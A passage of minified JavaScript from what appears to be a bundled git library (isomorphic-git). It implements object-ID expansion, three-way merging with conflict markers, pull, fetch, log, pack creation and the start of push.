c.offsets.keys())u.startsWith(r)&&s.push(u)}return s}async function H9({fs:t,cache:e,gitdir:n,oid:r}){let i=a=>ct({fs:t,cache:e,gitdir:n,oid:a}),s=await q9({fs:t,gitdir:n,oid:r}),o=await V9({fs:t,cache:e,gitdir:n,oid:r,getExternalRefDelta:i});for(let a of o)s.indexOf(a)===-1&&s.push(a);if(s.length===1)return s[0];throw s.length>1?new qf("oids",r,s):new st(`an object matching "${r}"`)}async function TO({fs:t,dir:e,gitdir:n=V(e,".git"),oid:r,cache:i={}}){try{R("fs",t),R("gitdir",n),R("oid",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await H9({fs:s,cache:i,gitdir:o,oid:r})}catch(s){throw s.caller="git.expandOid",s}}async function FO({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r}){try{R("fs",t),R("gitdir",n),R("ref",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await te.expand({fs:i,gitdir:s,ref:r})}catch(i){throw i.caller="git.expandRef",i}}async function n1({fs:t,cache:e,gitdir:n,oids:r}){let i={},s=r.length,o=r.map((a,l)=>({index:l,oid:a}));for(;o.length;){let a=new Set;for(let{oid:c,index:u}of o)i[c]||(i[c]=new Set),i[c].add(u),i[c].size===s&&a.add(c);if(a.size>0)return[...a];let l=new Map;for(let{oid:c,index:u}of o)try{let{object:f}=await ct({fs:t,cache:e,gitdir:n,oid:c}),h=Ln.from(f),{parent:d}=h.parseHeaders();for(let p of d)(!i[p]||!i[p].has(u))&&l.set(p+":"+u,{oid:p,index:u})}catch{}o=Array.from(l.values())}return[]}var Rv=/^.*(\r?\n|$)/gm;function W9({branches:t,contents:e}){let n=t[1],r=t[2],i=e[0],s=e[1],o=e[2],a=s.match(Rv),l=i.match(Rv),c=o.match(Rv),u=DW(a,l,c),f=7,h="",d=!0;for(let p of u)p.ok&&(h+=p.ok.join("")),p.conflict&&(d=!1,h+=`${"<".repeat(f)} ${n} -`,h+=p.conflict.a.join(""),h+=`${"=".repeat(f)} -`,h+=p.conflict.b.join(""),h+=`${">".repeat(f)} ${r} -`);return{cleanMerge:d,mergedText:h}}async function G9({fs:t,cache:e,dir:n,gitdir:r=V(n,".git"),index:i,ourOid:s,baseOid:o,theirOid:a,ourName:l="ours",baseName:c="base",theirName:u="theirs",dryRun:f=!1,abortOnConflict:h=!0,mergeDriver:d}){let p=ar({ref:s}),g=ar({ref:o}),y=ar({ref:a}),w=[],b=[],S=[],D=[],k=await eo({fs:t,cache:e,dir:n,gitdir:r,trees:[p,g,y],map:async function(E,[v,_,C]){let A=Dp(E),P=await Fp(v,_),N=await Fp(C,_);switch(`${P}-${N}`){case"false-false":return{mode:await _.mode(),path:A,oid:await _.oid(),type:await _.type()};case"false-true":return!C&&await v.type()==="tree"?{mode:await v.mode(),path:A,oid:await v.oid(),type:await v.type()}:C?{mode:await C.mode(),path:A,oid:await C.oid(),type:await C.type()}:void 0;case"true-false":return!v&&await C.type()==="tree"?{mode:await C.mode(),path:A,oid:await C.oid(),type:await C.type()}:v?{mode:await v.mode(),path:A,oid:await v.oid(),type:await v.type()}:void 0;case"true-true":{if(v&&C&&await v.type()==="tree"&&await C.type()==="tree")return{mode:await v.mode(),path:A,oid:await v.oid(),type:"tree"};if(v&&C&&await v.type()==="blob"&&await C.type()==="blob")return Q9({fs:t,gitdir:r,path:A,ours:v,base:_,theirs:C,ourName:l,baseName:c,theirName:u,mergeDriver:d}).then(async B=>{if(B.cleanMerge)h||i.insert({filepath:E,oid:B.mergeResult.oid,stage:0});else if(w.push(E),b.push(E),!h){let L="";_&&await _.type()==="blob"&&(L=await _.oid());let G=await v.oid(),U=await C.oid();i.delete({filepath:E}),L&&i.insert({filepath:E,oid:L,stage:1}),i.insert({filepath:E,oid:G,stage:2}),i.insert({filepath:E,oid:U,stage:3})}return B.mergeResult});if(_&&!v&&C&&await _.type()==="blob"&&await C.type()==="blob"){if(w.push(E),S.push(E),!h){let B=await _.oid(),L=await C.oid();i.delete({filepath:E}),i.insert({filepath:E,oid:B,stage:1}),i.insert({filepath:E,oid:L,stage:3})}return{mode:await C.mode(),oid:await C.oid(),type:"blob",path:A}}if(_&&v&&!C&&await _.type()==="blob"&&await v.type()==="blob"){if(w.push(E),D.push(E),!h){let B=await _.oid(),L=await v.oid();i.delete({filepath:E}),i.insert({filepath:E,oid:B,stage:1}),i.insert({filepath:E,oid:L,stage:2})}return{mode:await v.mode(),oid:await v.oid(),type:"blob",path:A}}if(_&&!v&&!C&&(await _.type()==="blob"||await _.type()==="tree"))return;throw new fc}}},reduce:w.length!==0&&(!n||h)?void 0:async(E,v)=>{let _=v.filter(Boolean);if(E&&!(E&&E.type==="tree"&&_.length===0&&E.path!==".")){if(_.length>0||E.path==="."&&_.length===0){let A=new zn(_).toObject(),P=await Bn({fs:t,gitdir:r,type:"tree",object:A,dryRun:f});E.oid=P}return E}}});return w.length!==0?(n&&!h&&await eo({fs:t,cache:e,dir:n,gitdir:r,trees:[ar({ref:k.oid})],map:async function(E,[v]){let _=`${n}/${E}`;if(await v.type()==="blob"){let C=await v.mode(),A=new TextDecoder().decode(await v.content());await t.write(_,A,{mode:C})}return!0}}),new hc(w,b,S,D)):k.oid}async function Q9({fs:t,gitdir:e,path:n,ours:r,base:i,theirs:s,ourName:o,theirName:a,baseName:l,dryRun:c,mergeDriver:u=W9}){let f="blob",h="100755",d="",p="";i&&await i.type()==="blob"&&(h=await i.mode(),d=await i.oid(),p=x.from(await i.content()).toString("utf8"));let g=h===await r.mode()?await s.mode():await r.mode();if(await r.oid()===await s.oid())return{cleanMerge:!0,mergeResult:{mode:g,path:n,oid:await r.oid(),type:f}};if(await r.oid()===d)return{cleanMerge:!0,mergeResult:{mode:g,path:n,oid:await s.oid(),type:f}};if(await s.oid()===d)return{cleanMerge:!0,mergeResult:{mode:g,path:n,oid:await r.oid(),type:f}};let y=x.from(await r.content()).toString("utf8"),w=x.from(await s.content()).toString("utf8"),{mergedText:b,cleanMerge:S}=await u({branches:[l,o,a],contents:[p,y,w],path:n}),D=await Bn({fs:t,gitdir:e,type:"blob",object:x.from(b,"utf8"),dryRun:c});return{cleanMerge:S,mergeResult:{mode:g,path:n,oid:D,type:f}}}async function IO({fs:t,cache:e,dir:n,gitdir:r,ours:i,theirs:s,fastForward:o=!0,fastForwardOnly:a=!1,dryRun:l=!1,noUpdateBranch:c=!1,abortOnConflict:u=!0,message:f,author:h,committer:d,signingKey:p,onSign:g,mergeDriver:y,allowUnrelatedHistories:w=!1}){i===void 0&&(i=await io({fs:t,gitdir:r,fullname:!0})),i=await te.expand({fs:t,gitdir:r,ref:i}),s=await te.expand({fs:t,gitdir:r,ref:s});let b=await te.resolve({fs:t,gitdir:r,ref:i}),S=await te.resolve({fs:t,gitdir:r,ref:s}),D=await n1({fs:t,cache:e,gitdir:r,oids:[b,S]});if(D.length!==1)if(D.length===0&&w)D.push("4b825dc642cb6eb9a060e54bf8d69288fbee4904");else throw new fc;let k=D[0];if(k===S)return{oid:b,alreadyMerged:!0};if(o&&k===b)return!l&&!c&&await te.writeRef({fs:t,gitdir:r,ref:i,value:S}),{oid:S,fastForward:!0};{if(a)throw new Gf;let E=await Tt.acquire({fs:t,gitdir:r,cache:e,allowUnmerged:!1},async _=>G9({fs:t,cache:e,dir:n,gitdir:r,index:_,ourOid:b,theirOid:S,baseOid:k,ourName:ba(i),baseName:"base",theirName:ba(s),dryRun:l,abortOnConflict:u,mergeDriver:y}));if(E instanceof hc)throw E;return f||(f=`Merge branch '${ba(s)}' into ${ba(i)}`),{oid:await Mp({fs:t,cache:e,gitdir:r,message:f,ref:i,tree:E,parent:[b,S],author:h,committer:d,signingKey:p,onSign:g,dryRun:l,noUpdateBranch:c}),tree:E,mergeCommit:!0}}}async function AO({fs:t,cache:e,http:n,onProgress:r,onMessage:i,onAuth:s,onAuthSuccess:o,onAuthFailure:a,dir:l,gitdir:c,ref:u,url:f,remote:h,remoteRef:d,prune:p,pruneTags:g,fastForward:y,fastForwardOnly:w,corsProxy:b,singleBranch:S,headers:D,author:k,committer:E,signingKey:v}){try{if(!u){let A=await io({fs:t,gitdir:c});if(!A)throw new Rn("ref");u=A}let{fetchHead:_,fetchHeadDescription:C}=await t1({fs:t,cache:e,http:n,onProgress:r,onMessage:i,onAuth:s,onAuthSuccess:o,onAuthFailure:a,gitdir:c,corsProxy:b,ref:u,url:f,remote:h,remoteRef:d,singleBranch:S,headers:D,prune:p,pruneTags:g});await IO({fs:t,cache:e,gitdir:c,ours:u,theirs:_,fastForward:y,fastForwardOnly:w,message:`Merge ${C}`,author:k,committer:E,signingKey:v,dryRun:!1,noUpdateBranch:!1}),await Xv({fs:t,cache:e,onProgress:r,dir:l,gitdir:c,ref:u,remote:h,noCheckout:!1})}catch(_){throw _.caller="git.pull",_}}async function OO({fs:t,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,dir:a,gitdir:l=V(a,".git"),ref:c,url:u,remote:f,remoteRef:h,corsProxy:d,singleBranch:p,headers:g={},cache:y={}}){try{R("fs",t),R("http",e),R("gitdir",l);let w={name:"",email:"",timestamp:Date.now(),timezoneOffset:0},b=new fe(t),S=await de({fsp:b,dotgit:l});return await AO({fs:b,cache:y,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,dir:a,gitdir:S,ref:c,url:u,remote:f,remoteRef:h,fastForwardOnly:!0,corsProxy:d,singleBranch:p,headers:g,author:w,committer:w})}catch(w){throw w.caller="git.fastForward",w}}async function PO({fs:t,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,dir:a,gitdir:l=V(a,".git"),ref:c,remote:u,remoteRef:f,url:h,corsProxy:d,depth:p=null,since:g=null,exclude:y=[],relative:w=!1,tags:b=!1,singleBranch:S=!1,headers:D={},prune:k=!1,pruneTags:E=!1,cache:v={}}){try{R("fs",t),R("http",e),R("gitdir",l);let _=new fe(t),C=await de({fsp:_,dotgit:l});return await t1({fs:_,cache:v,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,gitdir:C,ref:c,remote:u,remoteRef:f,url:h,corsProxy:d,depth:p,since:g,exclude:y,relative:w,tags:b,singleBranch:S,headers:D,prune:k,pruneTags:E})}catch(_){throw _.caller="git.fetch",_}}async function NO({fs:t,dir:e,gitdir:n=V(e,".git"),oids:r,cache:i={}}){try{R("fs",t),R("gitdir",n),R("oids",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await n1({fs:s,cache:i,gitdir:o,oids:r})}catch(s){throw s.caller="git.findMergeBase",s}}async function MO({fs:t,filepath:e}){if(await t.exists(V(e,".git")))return e;{let n=va(e);if(n===e)throw new st(`git root for ${e}`);return MO({fs:t,filepath:n})}}async function RO({fs:t,filepath:e}){try{return R("fs",t),R("filepath",e),await MO({fs:new fe(t),filepath:e})}catch(n){throw n.caller="git.findRoot",n}}async function zO({fs:t,dir:e,gitdir:n=V(e,".git"),path:r}){try{R("fs",t),R("gitdir",n),R("path",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await nh({fs:i,gitdir:s,path:r})}catch(i){throw i.caller="git.getConfig",i}}async function K9({fs:t,gitdir:e,path:n}){return(await Et.get({fs:t,gitdir:e})).getall(n)}async function LO({fs:t,dir:e,gitdir:n=V(e,".git"),path:r}){try{R("fs",t),R("gitdir",n),R("path",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await K9({fs:i,gitdir:s,path:r})}catch(i){throw i.caller="git.getConfigAll",i}}async function BO({http:t,onAuth:e,onAuthSuccess:n,onAuthFailure:r,corsProxy:i,url:s,headers:o={},forPush:a=!1}){try{R("http",t),R("url",s);let c=await bc.getRemoteHelperFor({url:s}).discover({http:t,onAuth:e,onAuthSuccess:n,onAuthFailure:r,corsProxy:i,service:a?"git-receive-pack":"git-upload-pack",url:s,headers:o,protocolVersion:1}),u={capabilities:[...c.capabilities]};for(let[f,h]of c.refs){let d=f.split("/"),p=d.pop(),g=u;for(let y of d)g[y]=g[y]||{},g=g[y];g[p]=h}for(let[f,h]of c.symrefs){let d=f.split("/"),p=d.pop(),g=u;for(let y of d)g[y]=g[y]||{},g=g[y];g[p]=h}return u}catch(l){throw l.caller="git.getRemoteInfo",l}}function $O(t,e,n,r){let i=[];for(let[s,o]of t.refs){if(e&&!s.startsWith(e))continue;if(s.endsWith("^{}")){if(r){let l=s.replace("^{}",""),c=i[i.length-1],u=c.ref===l?c:i.find(f=>f.ref===l);if(u===void 0)throw new Error("I did not expect this to happen");u.peeled=o}continue}let a={ref:s,oid:o};n&&t.symrefs.has(s)&&(a.target=t.symrefs.get(s)),i.push(a)}return i}async function UO({http:t,onAuth:e,onAuthSuccess:n,onAuthFailure:r,corsProxy:i,url:s,headers:o={},forPush:a=!1,protocolVersion:l=2}){try{R("http",t),R("url",s);let u=await bc.getRemoteHelperFor({url:s}).discover({http:t,onAuth:e,onAuthSuccess:n,onAuthFailure:r,corsProxy:i,service:a?"git-receive-pack":"git-upload-pack",url:s,headers:o,protocolVersion:l});if(u.protocolVersion===2)return{protocolVersion:u.protocolVersion,capabilities:u.capabilities2};let f={};for(let h of u.capabilities){let[d,p]=h.split("=");p?f[d]=p:f[d]=!0}return{protocolVersion:1,capabilities:f,refs:$O(u,void 0,!0,!0)}}catch(c){throw c.caller="git.getRemoteInfo2",c}}async function Z9({type:t,object:e,format:n="content",oid:r=void 0}){return n!=="deflated"&&(n!=="wrapped"&&(e=Js.wrap({type:t,object:e})),r=await us(e)),{oid:r,object:e}}async function jO({object:t}){try{R("object",t),typeof t=="string"?t=x.from(t,"utf8"):t instanceof Uint8Array||(t=new Uint8Array(t));let e="blob",{oid:n,object:r}=await Z9({type:e,format:"content",object:t});return{oid:n,type:e,object:r,format:"wrapped"}}catch(e){throw e.caller="git.hashBlob",e}}async function Y9({fs:t,cache:e,onProgress:n,dir:r,gitdir:i,filepath:s}){try{s=V(r,s);let o=await t.read(s),a=c=>ct({fs:t,cache:e,gitdir:i,oid:c}),l=await jf.fromPack({pack:o,getExternalRefDelta:a,onProgress:n});return await t.write(s.replace(/\.pack$/,".idx"),await l.toBuffer()),{oids:[...l.hashes]}}catch(o){throw o.caller="git.indexPack",o}}async function qO({fs:t,onProgress:e,dir:n,gitdir:r=V(n,".git"),filepath:i,cache:s={}}){try{R("fs",t),R("dir",n),R("gitdir",n),R("filepath",i);let o=new fe(t),a=await de({fsp:o,dotgit:r});return await Y9({fs:o,cache:s,onProgress:e,dir:n,gitdir:a,filepath:i})}catch(o){throw o.caller="git.indexPack",o}}async function VO({fs:t,bare:e=!1,dir:n,gitdir:r=e?n:V(n,".git"),defaultBranch:i="master"}){try{R("fs",t),R("gitdir",r),e||R("dir",n);let s=new fe(t),o=await de({fsp:s,dotgit:r});return await vO({fs:s,bare:e,dir:n,gitdir:o,defaultBranch:i})}catch(s){throw s.caller="git.init",s}}async function HO({fs:t,cache:e,gitdir:n,oid:r,ancestor:i,depth:s}){let o=await xa.read({fs:t,gitdir:n});if(!r)throw new Rn("oid");if(!i)throw new Rn("ancestor");if(r===i)return!1;let a=[r],l=new Set,c=0;for(;a.length;){if(c++===s)throw new Kf(s);let u=a.shift(),{type:f,object:h}=await ct({fs:t,cache:e,gitdir:n,oid:u});if(f!=="commit")throw new bn(u,f,"commit");let d=Ln.from(h).parse();for(let p of d.parent)if(p===i)return!0;if(!o.has(u))for(let p of d.parent)l.has(p)||(a.push(p),l.add(p))}return!1}async function WO({fs:t,dir:e,gitdir:n=V(e,".git"),oid:r,ancestor:i,depth:s=-1,cache:o={}}){try{R("fs",t),R("gitdir",n),R("oid",r),R("ancestor",i);let a=new fe(t),l=await de({fsp:a,dotgit:n});return await HO({fs:a,cache:o,gitdir:l,oid:r,ancestor:i,depth:s})}catch(a){throw a.caller="git.isDescendent",a}}async function GO({fs:t,dir:e,gitdir:n=V(e,".git"),filepath:r}){try{R("fs",t),R("dir",e),R("gitdir",n),R("filepath",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return to.isIgnored({fs:i,dir:e,gitdir:s,filepath:r})}catch(i){throw i.caller="git.isIgnored",i}}async function QO({fs:t,dir:e,gitdir:n=V(e,".git"),remote:r}){try{R("fs",t),R("gitdir",n);let i=new fe(t),s=await de({fsp:i,dotgit:n});return te.listBranches({fs:i,gitdir:s,remote:r})}catch(i){throw i.caller="git.listBranches",i}}async function J9({fs:t,gitdir:e,ref:n,cache:r}){if(n){let i=await te.resolve({gitdir:e,fs:t,ref:n}),s=[];return await KO({fs:t,cache:r,gitdir:e,oid:i,filenames:s,prefix:""}),s}else return Tt.acquire({fs:t,gitdir:e,cache:r},async function(i){return i.entries.map(s=>s.path)})}async function KO({fs:t,cache:e,gitdir:n,oid:r,filenames:i,prefix:s}){let{tree:o}=await xc({fs:t,cache:e,gitdir:n,oid:r});for(let a of o)a.type==="tree"?await KO({fs:t,cache:e,gitdir:n,oid:a.oid,filenames:i,prefix:V(s,a.path)}):i.push(V(s,a.path))}async function ZO({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r,cache:i={}}){try{R("fs",t),R("gitdir",n);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await J9({fs:s,cache:i,gitdir:o,ref:r})}catch(s){throw s.caller="git.listFiles",s}}async function X9({fs:t,cache:e,gitdir:n,ref:r}){let i;try{i=await te.resolve({gitdir:n,fs:t,ref:r})}catch(a){if(a instanceof st)return[]}return(await xc({fs:t,cache:e,gitdir:n,oid:i})).tree.map(a=>({target:a.path,note:a.oid}))}async function YO({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r="refs/notes/commits",cache:i={}}){try{R("fs",t),R("gitdir",n),R("ref",r);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await X9({fs:s,cache:i,gitdir:o,ref:r})}catch(s){throw s.caller="git.listNotes",s}}async function JO({fs:t,dir:e,gitdir:n=V(e,".git"),filepath:r}){try{R("fs",t),R("gitdir",n);let i=new fe(t),s=await de({fsp:i,dotgit:n});return te.listRefs({fs:i,gitdir:s,filepath:r})}catch(i){throw i.caller="git.listRefs",i}}async function eG({fs:t,gitdir:e}){let n=await Et.get({fs:t,gitdir:e}),r=await n.getSubsections("remote");return Promise.all(r.map(async s=>{let o=await n.get(`remote.${s}.url`);return{remote:s,url:o}}))}async function XO({fs:t,dir:e,gitdir:n=V(e,".git")}){try{R("fs",t),R("gitdir",n);let r=new fe(t),i=await de({fsp:r,dotgit:n});return await eG({fs:r,gitdir:i})}catch(r){throw r.caller="git.listRemotes",r}}async function tG(t){let e=gt.streamReader(t),n=[],r;for(;r=await e(),r!==!0;){if(r===null)continue;r=r.toString("utf8").replace(/\n$/,"");let[i,s,...o]=r.split(" "),a={ref:s,oid:i};for(let l of o){let[c,u]=l.split(":");c==="symref-target"?a.target=u:c==="peeled"&&(a.peeled=u)}n.push(a)}return n}async function nG({prefix:t,symrefs:e,peelTags:n}){let r=[];return r.push(gt.encode(`command=ls-refs -`)),r.push(gt.encode(`agent=${Rp.agent} -`)),(n||e||t)&&r.push(gt.delim()),n&&r.push(gt.encode("peel")),e&&r.push(gt.encode("symrefs")),t&&r.push(gt.encode(`ref-prefix ${t}`)),r.push(gt.flush()),r}async function eP({http:t,onAuth:e,onAuthSuccess:n,onAuthFailure:r,corsProxy:i,url:s,headers:o={},forPush:a=!1,protocolVersion:l=2,prefix:c,symrefs:u,peelTags:f}){try{R("http",t),R("url",s);let h=await wc.discover({http:t,onAuth:e,onAuthSuccess:n,onAuthFailure:r,corsProxy:i,service:a?"git-receive-pack":"git-upload-pack",url:s,headers:o,protocolVersion:l});if(h.protocolVersion===1)return $O(h,c,u,f);let d=await nG({prefix:c,symrefs:u,peelTags:f}),p=await wc.connect({http:t,auth:h.auth,headers:o,corsProxy:i,service:a?"git-receive-pack":"git-upload-pack",url:s,body:d});return tG(p.body)}catch(h){throw h.caller="git.listServerRefs",h}}async function tP({fs:t,dir:e,gitdir:n=V(e,".git")}){try{R("fs",t),R("gitdir",n);let r=new fe(t),i=await de({fsp:r,dotgit:n});return te.listTags({fs:r,gitdir:i})}catch(r){throw r.caller="git.listTags",r}}function rG(t,e){return t.committer.timestamp-e.committer.timestamp}var iG="e69de29bb2d1d6434b8b29ae775ad8c2e48c5391";async function VA({fs:t,cache:e,gitdir:n,oid:r,fileId:i}){if(i===iG)return;let s=r,o,a=await pc({fs:t,cache:e,gitdir:n,oid:r}),l=a.tree;return i===a.oid?o=a.path:(o=await nP({fs:t,cache:e,gitdir:n,tree:l,fileId:i,oid:s}),Array.isArray(o)&&(o.length===0?o=void 0:o.length===1&&(o=o[0]))),o}async function nP({fs:t,cache:e,gitdir:n,tree:r,fileId:i,oid:s,filepaths:o=[],parentPath:a=""}){let l=r.entries().map(function(c){let u;return c.oid===i?(u=V(a,c.path),o.push(u)):c.type==="tree"&&(u=ct({fs:t,cache:e,gitdir:n,oid:c.oid}).then(function({object:f}){return nP({fs:t,cache:e,gitdir:n,tree:zn.from(f),fileId:i,oid:s,filepaths:o,parentPath:V(a,c.path)})})),u});return await Promise.all(l),o}async function sG({fs:t,cache:e,gitdir:n,filepath:r,ref:i,depth:s,since:o,force:a,follow:l}){let c=typeof o>"u"?void 0:Math.floor(o.valueOf()/1e3),u=[],f=await xa.read({fs:t,gitdir:n}),h=await te.resolve({fs:t,gitdir:n,ref:i}),d=[await yc({fs:t,cache:e,gitdir:n,oid:h})],p,g,y;function w(b){y&&r&&u.push(b)}for(;d.length>0;){let b=d.pop();if(c!==void 0&&b.commit.committer.timestamp<=c)break;if(r){let S;try{S=await ih({fs:t,cache:e,gitdir:n,oid:b.commit.tree,filepath:r}),g&&p!==S&&u.push(g),p=S,g=b,y=!0}catch(D){if(D instanceof st){let k=l&&p;if(k&&(k=await VA({fs:t,cache:e,gitdir:n,oid:b.commit.tree,fileId:p}),k))if(Array.isArray(k)){if(g){let E=await VA({fs:t,cache:e,gitdir:n,oid:g.commit.tree,fileId:p});if(Array.isArray(E))if(k=k.filter(v=>E.indexOf(v)===-1),k.length===1)k=k[0],r=k,g&&u.push(g);else{k=!1,g&&u.push(g);break}}}else r=k,g&&u.push(g);if(!k){if(y&&p&&(u.push(g),!a))break;if(!a&&!l)throw D}g=b,y=!1}else throw D}}else u.push(b);if(s!==void 0&&u.length===s){w(b);break}if(!f.has(b.oid))for(let S of b.commit.parent){let D=await yc({fs:t,cache:e,gitdir:n,oid:S});d.map(k=>k.oid).includes(D.oid)||d.push(D)}d.length===0&&w(b),d.sort((S,D)=>rG(S.commit,D.commit))}return u}async function rP({fs:t,dir:e,gitdir:n=V(e,".git"),filepath:r,ref:i="HEAD",depth:s,since:o,force:a,follow:l,cache:c={}}){try{R("fs",t),R("gitdir",n),R("ref",i);let u=new fe(t),f=await de({fsp:u,dotgit:n});return await sG({fs:u,cache:c,gitdir:f,filepath:r,ref:i,depth:s,since:o,force:a,follow:l})}catch(u){throw u.caller="git.log",u}}async function iP({fs:t,onSign:e,dir:n,gitdir:r=V(n,".git"),ours:i,theirs:s,fastForward:o=!0,fastForwardOnly:a=!1,dryRun:l=!1,noUpdateBranch:c=!1,abortOnConflict:u=!0,message:f,author:h,committer:d,signingKey:p,cache:g={},mergeDriver:y,allowUnrelatedHistories:w=!1}){try{R("fs",t),p&&R("onSign",e);let b=new fe(t),S=await de({fsp:b,dotgit:r}),D=await no({fs:b,gitdir:S,author:h});if(!D&&(!a||!o))throw new ln("author");let k=await gc({fs:b,gitdir:S,author:D,committer:d});if(!k&&(!a||!o))throw new ln("committer");return await IO({fs:b,cache:g,dir:n,gitdir:S,ours:i,theirs:s,fastForward:o,fastForwardOnly:a,dryRun:l,noUpdateBranch:c,abortOnConflict:u,message:f,author:D,committer:k,signingKey:p,onSign:e,mergeDriver:y,allowUnrelatedHistories:w})}catch(b){throw b.caller="git.merge",b}}var oG={commit:16,tree:32,blob:48,tag:64,ofs_delta:96,ref_delta:112};async function sP({fs:t,cache:e,dir:n,gitdir:r=V(n,".git"),oids:i}){let s=new WA,o=[];function a(u,f){let h=x.from(u,f);o.push(h),s.update(h)}async function l({stype:u,object:f}){let h=oG[u],d=f.length,p=d>15?128:0,g=d&15;d=d>>>4;let y=(p|h|g).toString(16);for(a(y,"hex");p;)p=d>127?128:0,y=p|d&127,a(Zv(2,y),"hex"),d=d>>>7;a(x.from(await iO(f)))}a("PACK"),a("00000002","hex"),a(Zv(8,i.length),"hex");for(let u of i){let{type:f,object:h}=await ct({fs:t,cache:e,gitdir:r,oid:u});await l({write:a,object:h,stype:f})}let c=s.digest();return o.push(c),o}async function aG({fs:t,cache:e,gitdir:n,oids:r,write:i}){let s=await sP({fs:t,cache:e,gitdir:n,oids:r}),o=x.from(await Ip(s)),l=`pack-${o.slice(-20).toString("hex")}.pack`;return i?(await t.write(V(n,`objects/pack/${l}`),o),{filename:l}):{filename:l,packfile:new Uint8Array(o)}}async function oP({fs:t,dir:e,gitdir:n=V(e,".git"),oids:r,write:i=!1,cache:s={}}){try{R("fs",t),R("gitdir",n),R("oids",r);let o=new fe(t),a=await de({fsp:o,dotgit:n});return await aG({fs:o,cache:s,gitdir:a,oids:r,write:i})}catch(o){throw o.caller="git.packObjects",o}}async function aP({fs:t,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,dir:a,gitdir:l=V(a,".git"),ref:c,url:u,remote:f,remoteRef:h,prune:d=!1,pruneTags:p=!1,fastForward:g=!0,fastForwardOnly:y=!1,corsProxy:w,singleBranch:b,headers:S={},author:D,committer:k,signingKey:E,cache:v={}}){try{R("fs",t),R("gitdir",l);let _=new fe(t),C=await de({fsp:_,dotgit:l}),A=await no({fs:_,gitdir:C,author:D});if(!A)throw new ln("author");let P=await gc({fs:_,gitdir:C,author:A,committer:k});if(!P)throw new ln("committer");return await AO({fs:_,cache:v,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,dir:a,gitdir:C,ref:c,url:u,remote:f,remoteRef:h,fastForward:g,fastForwardOnly:y,corsProxy:w,singleBranch:b,headers:S,author:A,committer:P,signingKey:E,prune:d,pruneTags:p})}catch(_){throw _.caller="git.pull",_}}async function lG({fs:t,cache:e,dir:n,gitdir:r=V(n,".git"),start:i,finish:s}){let o=await xa.read({fs:t,gitdir:r}),a=new Set,l=new Set;for(let f of i)a.add(await te.resolve({fs:t,gitdir:r,ref:f}));for(let f of s)try{let h=await te.resolve({fs:t,gitdir:r,ref:f});l.add(h)}catch{}let c=new Set;async function u(f){c.add(f);let{type:h,object:d}=await ct({fs:t,cache:e,gitdir:r,oid:f});if(h==="tag"){let g=lr.from(d).headers().object;return u(g)}if(h!=="commit")throw new bn(f,h,"commit");if(!o.has(f)){let g=Ln.from(d).headers().parent;for(f of g)!l.has(f)&&!c.has(f)&&await u(f)}}for(let f of a)await u(f);return c}async function zv({fs:t,cache:e,dir:n,gitdir:r=V(n,".git"),oids:i}){let s=new Set;async function o(a){if(s.has(a))return;s.add(a);let{type:l,object:c}=await ct({fs:t,cache:e,gitdir:r,oid:a});if(l==="tag"){let f=lr.from(c).headers().object;await o(f)}else if(l==="commit"){let f=Ln.from(c).headers().tree;await o(f)}else if(l==="tree"){let u=zn.from(c);for(let f of u)f.type==="blob"&&s.add(f.oid),f.type==="tree"&&await o(f.oid)}}for(let a of i)await o(a);return s}async function cG(t){let e={},n="",r=gt.streamReader(t),i=await r();for(;i!==!0;)i!==null&&(n+=i.toString("utf8")+` -`),i=await r();let s=n.toString("utf8").split(` -`);if(i=s.shift(),!i.startsWith("unpack "))throw new ka('unpack ok" or "unpack [error message]',i);e.ok=i==="unpack ok",e.ok||(e.error=i.slice(7)),e.refs={};for(let o of s){if(o.trim()==="")continue;let a=o.slice(0,2),l=o.slice(3),c=l.indexOf(" ");c===-1&&(c=l.length);let u=l.slice(0,c),f=l.slice(c+1);e.refs[u]={ok:a==="ok",error:f}}return e}async function uG({capabilities:t=[],triplets:e=[]}){let n=[],r=`\0 ${t.join(" ")}`;for(let i of e)n.push(gt.encode(`${i.oldoid} ${i.oid} ${i.fullRef}${r} -`)),r="";return n.push(gt.flush()),n}async function fG({fs:t,cache:e,http:n,onProgress:r,onMessage:i,onAuth:s,onAuthSuccess:o,onAuthFailure:a,onPrePush:l,gitdir:c,ref:u,remoteRef:f,remote:h,url:d,force:p=!1,delete:g=!1,corsProxy:y,headers:w={}}){let b=u||await io({fs:t,gitdir:c});if(typeof b>"u")throw new Rn("ref");let S=await Et.get({fs:t,gitdir:c});h=h||await S.get(`branch.${b}.pushRemote`)||await S.get("remote.pushDefault")||await S.get(`branch.${b}.remote`)||"origin";let D=d||await S.get(`remote.${h}.pushurl`)||await S.get(`remote.${h}.url`);if(typeof D>"u")throw new Rn("remote OR url");let k=f||await S.get(`branch.${b}.merge`);if(typeof D>"u")throw new Rn("remoteRef");y===void 0&&(y=await S.get("http.corsProxy"));let E=await te.expand({fs:t,gitdir:c,ref:b}),v=g?"0000000000000000000000000000000000000000":await te.resolve({fs:t,gitdir:c,ref:E}),_=bc.getRemoteHelperFor({url:D}),C=await _.discover({http:n,onAuth:s,onAuthSuccess:o,onAuthFailure:a,corsProxy:y,service:"git-receive-pack",url:D,headers:w,protocolVersion:1}),A=C.auth,P;if(!k)P=E;else try{P=await te.expandAgainstMap({ref:k,map:C.refs})}catch(ve){if(ve instanceof st)P=k.startsWith("refs/")?k:`refs/heads/${k}`;else throw ve}let N=C.refs.get(P)||"0000000000000000000000000000000000000000";if(l&&!await l({remote:h,url:D,localRef:{ref:g?"(delete)":E,oid:v},remoteRef:{ref:P,oid:N}}))throw new mc;let 